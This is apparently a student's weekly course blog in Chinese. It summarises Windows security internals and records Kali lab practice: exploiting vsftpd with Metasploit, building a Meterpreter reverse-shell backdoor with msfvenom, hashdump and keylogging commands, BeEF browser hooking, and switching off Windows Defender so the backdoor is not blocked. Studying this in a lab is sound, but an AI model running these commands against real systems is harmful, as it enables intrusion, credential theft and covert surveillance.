教材学习内容总结
Windows操作系统的基本结构如下图,分别运行于处理器特权模式(ring0)的操作系统内核,以及运行在处理器非特权模式(ring3)的用户空间代码
Windows操作系统内核的基本模块:Windows执行体、Windows内核体、设备驱动程序、硬件抽象层、Windows窗口与图形化界面接口内核实现代码、系统支持进程、环境子系统服务进程、服务进程、用户应用软件、核心子系统DLL
在上述系统架构下,Windows操作系统内核中实现了如下的核心机制:Windows进程和线程管理机制、Windows内存管理机制、Windows文件管理机制、Windows注册表管理机制、Windows的网络机制
Windows的虚拟内存空间分为系统核心内存区间与用户内存区间两部分
- Windows的网络机制
- 各种网卡硬件的设备驱动程序对应OSI参考模型的物理层
- NDIS库以及miniport驱动程序,位于OSI链路层
- TDI传输层,对应OSI的网络层和传输层
- 网络API DLL及TDI客户端,对应OSI会话层与表示层
- 网络应用程序与以服务进程,对应OSI应用层
Windows操作系统基于引用监控器模型来实现基本的对象安全模型
Windows进程构成元素
私有虚拟内存地址空间
映射至进程内存空间的可执行程序
资源句柄列表
访问令牌(Security Access Token)
进程ID,父进程ID
至少一个执行线程Windows线程包含基本部件(context)
处理器状态CPU寄存器内容
两个栈(内核模式、用户模式)
线程局部存储区(TLS),共享进程虚拟地址空间和资源列表
线程ID对于保护Windows系统安全稳定运行最为关键的三项安全措施—防火墙、补丁自动更新以及病毒防护
Windows远程攻击技术可以分为:远程口令猜解与破解攻击、攻击Windows网络服务、攻击Windows客户端及用户
典型的渗透攻击过程包括漏洞扫描测试、查找针对发现漏洞的渗透代码、实施渗透测试
服务器消息块是Windows操作系统中最为复杂,也最容易遭受远程渗透攻击的网络服务
SMB空会话是Windows网络中影响范围最广和时间最长的安全弱点之一,故SMB空会话使得攻击者能够对Windows网路进行信息查点
远程过程调用机制是现代操作系统最基本的支撑机制之一
Windows上进行特权提升的攻击途径主要是通过DLL注入和破解本地程序安全漏洞
渗透测试者还可以利用MS SQL Sever、WINS服务、IIS服务以及在Local System账户下运行的第三方服务中的安全漏洞,进行提权攻击
Mrterpreter的设计目标包括:隐蔽性、设计功能强大、灵活可扩展
教材学习中遇到的问题及解决办法
- 对于Windows中身份认证机制中,黑客进行的攻击最终目的就是本地Administrator和SYSTEM账户,因为这些账户拥有最高的权限。对于他们的攻击作为普通用户能做的最基本的也是最难落实的就是将自己的用户名和密码设置成较为难解的,因为就是因为这些弱的口令字使得攻击者进入成为了可能,但是这一点牵扯到人这个变数,使得有些困难。而对于这些弱口令字,系统设计也做出了改变,采用比较复杂的加密方式进行解决。
视频内容学习总结
漏洞利用之Metasploit基础
启动服务
在kali中使用Metasploit,需要先开启PostgreSQL数据库服务和metasploit服务,然后就可以完整的利用msf数据库查询exploit和记录service postgresql start
service metasploit start
如果不想每次开机都手工启动服务,可以配置系统启动update-rc.d postgresql enable
update-rc.d metasploit enable
在开启Metasploit服务时遇到问题
- 解决办法:kali 2.0 已经没有metasploit 这个服务了,所以service metasploit start 的方式不起作用。
在kali 2.0中启动带数据库支持的MSF方式如下:- 首先启动postgresql数据库:/etc/init.d/postgresql start;或者 service postgresql start;
- 初始化MSF数据库(关键步骤!):msfdb init;
- 运行msfconsole:msfconsole;
- 在msf中查看数据库连接状态:db_status。
- 路径介绍
- kali中msf的路径为
/usrshare/metasploit-framework
- Auxiliary:辅助模块
- encoders:供msfencode编码工具使用,具体可以使用msfencode -l
- exploits:攻击模块,每个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录
- payloads:这里面列出的是攻击载荷,也就是攻击成功之后执行的代码。比如常设置的windows/meterpreter/reverse_tcp就在这个文件夹下
- post:后渗透阶段模块,在获得metasploit的shell之后可以使用的攻击代码。比如常用的hashdump、arp_scanner就在这里
- kali中msf的路径为
基本命令
msfpayload:用来生成payload或者shellcode。搜索的时候可以用
msfpayload -l|grep "windows"
这样的命令查询。-o
选项可以列出payload所需的参数msfencode:msf中的编码器,早期为了编码绕过AV,现在常用msfpayload与它编码避免exploit的坏字符串
msfconsole:开启Metasploit的console
- 测试示例:发现漏洞,搜索exploit
首先,查看metasploit系统的IP
172.16.6.68
,在kali中用nmap -sV 172.16.6.68
查看Metasploit的服务版本在刚刚打开的msf中搜索看Metasploit的ftp服务是否有漏洞
search vsftp
使用
use exploit/unix/vsftpd_234_backdoor
进入,然后使用show options
查看参数,最后set RHOST 172.16.6.68
设置远程IP地址选择payload
执行攻击测试,可以看到,成功之后,查看id,使用whoami命令,查看IP都是可行的
kali漏洞利用之Meterpreter介绍
Meterpreter是metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接
Meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展命令组成,极大地丰富了攻击方式。其有很多有用的功能,如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe.、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程机器的网络接口和IP地址等信息
常用的命令:background:将当前会话放置后台;load/use:加载模块;Interact:切换进一个信道;migrate:迁移进程;run:执行一个已有的模块,这里要说的是是输入run之后按两下tab键,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等;Resource:执行一个已有的rc脚本常用的Meterpreter类型为:payload/windows/meterpreter/reverse_tcp
实践部分
生成Meterpreter后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.6.127 LPORT=2333 -a x86 -f exe > /root/door.exe
,执行这条命令之前记得按照漏洞利用之Metasploit基础部分启动服务,做好准备工作,具体都在下图中体现,其中将端口号改成2333,是因为我们执行msfvenom命令时的端口号为2333执行了msfvenom的命令后,虽然有其他的提示,但是在之前设置的目录中已经有了door.exe文件
设置监听的靶机IP(192.168.200.2),然后在msf下用exploit进行监听,在靶机上运行door.exe文件后就可以在msf下得到Meterpreter session
在此时,可以用
background
返回exploit,用sessions -i 1
就可以再次回到Meterpreter用
help
可以查看Meterpreter的命令用法,常用命令sysinfo
查看靶机信息,hasndump
抓取hash抓取屏幕用
screenshot
,可以看到保存的路径还有一个键盘记录的功能
keyscan_start
,在靶机中打开一个记事本,输入Hello world!
,然后在Meterpreter这边用命令keyscan_dump
查看返回内容,要关闭这个功能,用keyscan_stop
扩展工具:使用
load -l
键就可以看到这些扩展功能
kali漏洞利用之Metasploit后渗透测试
本节的测试是在上节的获取到Meterpreter session后门的基础上完成的
查看网卡网段信息
用
run checkvm
检测目标机器是否是一个虚拟机用
run arp_scanner -h
查看ARP扫描的帮助信息
kali漏洞利用之BeeF
对XSS漏洞往往需要一个强大的框架支持,如网络上的XSS平台,在kali下,Beef是一款丝毫不逊色于XSS平台的工具,Beef是浏览器攻击框架的简称,是一款专注于浏览器端的渗透测试工具
命令行下启动beef
此时浏览器自动访问此页面http://127.0.0.1:3000/ui/authentication
使用默认用户名beef和默认密码beef登录
BeEF 提供了一个测试的demo,在http://127.0.0.1:3000/demos/basic.html
这个测试的demo是在访问了之后,BeEF就会hock到信息,我们在BeEF中查看,多了127.0.0.1这个文件夹,点开之后会显示一些信息
HOCK持续的时间到关闭测试页面为止,在此期间,相当于被控制了,可以发送攻击命令,在Commends模块,可以完成很多任务:其中,4种颜色分别表示:绿色:该攻击模块可用,且隐蔽性强;灰色:该攻击模块可用,但隐蔽性差;橙色:该攻击模块是否可用还有待验证;红色:该攻击模块不可用
测试:选取MISC下的RAW JavaScript code,点击Excute进行攻击,成功后在demo页面就会显示一个窗口
Proxy功能
- 选中目标主机,点右键,在菜单中选中Use as Proxy,然后在Rider选项卡中的Forge Request编辑并发送想要的内容
- 等待
- 完成
- 查看包的细节
- 选中目标主机,点右键,在菜单中选中Use as Proxy,然后在Rider选项卡中的Forge Request编辑并发送想要的内容
BeEF默认是不加载Metasploit的,如果要使用Metasploit丰富的攻击模块,需要做些配置:
修改/usr/share/beef-xss/config.yaml文件中的Matasploit,从false修改为true
修改/usr/share/beef-xss/extensions/metasploit/config.yaml文件中下图标出部分,IP是本机IP
配置好后,打开msfconsole,运行命令
load msgrpc ServerHost=172.16.6.127 Pass=abc123
执行
./beef -x
命令重启服务
service beef-xss start
再次访问beef页面,查看commends命令中的metasploit,此时可以看到已经加载出来了
视频中遇到的问题及解决办法
- 第26个视频有问题,不能进行学习
- Metasploit的服务不能启动。解决办法已经在过程中体现
- Msfpayload与Msfencode命令找不到,原因是kali2.0中将它们集成msfvenom命令了,所以命令中直接用msfvenom就好
- 执行视频中给出的命令
msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.6.127 LPORT=2333 R | msfencode -t exe -c S > /root/door.exe
时,出现以下问题,解决办法就是在命令中加入-a x86
,当然如果你监听的主机系统是64位们就要做相应改变 - 有一个问题是生成的door.exe无法复制到监听的windows下,并且将其复制到win10系统下时,直接被拦截,提示文件有问题或者存在病毒。这个问题解决了,办法是将door.exe文件放在本机上,不过前提是将win10的Windows defender暂时关闭,就不会出现被拦截的问题,然后再将其复制到要监听的靶机上。
学期目标
- 入门网络攻防,能走下来流程,最终能攻破防御较差的目标机
学习进度条
教材学习 | 视频学习 | 博客量(新增/累积) | 重要成长 | |
---|---|---|---|---|
目标 | 12章 | 20篇 | ||
第一周 | 《Linux基础入门》 | 1/1 | 练习Linux命令,在码云上面创建项目,学习使用博客园写博客并用Markdown编辑器规范格式 | |
第二周 | 第一二章 | 5个kali视频 | 2/3 | 初识网络攻防,了解基本知识 |
第三周 | 第三章 | 5个kali视频 | 1/4 | 学习了kali linux下信息收集阶段的探测工具 |
第四周 | 第四章 | 5个kali视频 | 1/5 | 学习了kali linux下漏洞分析的各种工具,wireshark的使用,学习了网络嗅探与协议分析 |
第五周 | 第十一、十二章 | 5个kali视频 | 1/6 | 学习了kali linux下漏洞分析之数据库评估软件的使用,也学习了SQL、XSS注入方面的一些知识 |
第六周 | 第五六章 | 5个kali视频 | 1/7 | 学习了kali linux下密码攻击的一些知识,学习了网络TCP/IP网络协议工具以及网络安全防范技术 |
第七周 | 第七章 | 5个kali视频 | 1/8 | 学习了了Windows操作系统的知识以及在Windows操作系统下怎么进行远程攻击,也学习了kali下meterpreter的使用以及网络TCP/IP网络协议工具以及网络安全防范技术 |
参考资料
- 《网络攻防技术与实践》 诸葛建伟著
- 网站上给的解决办法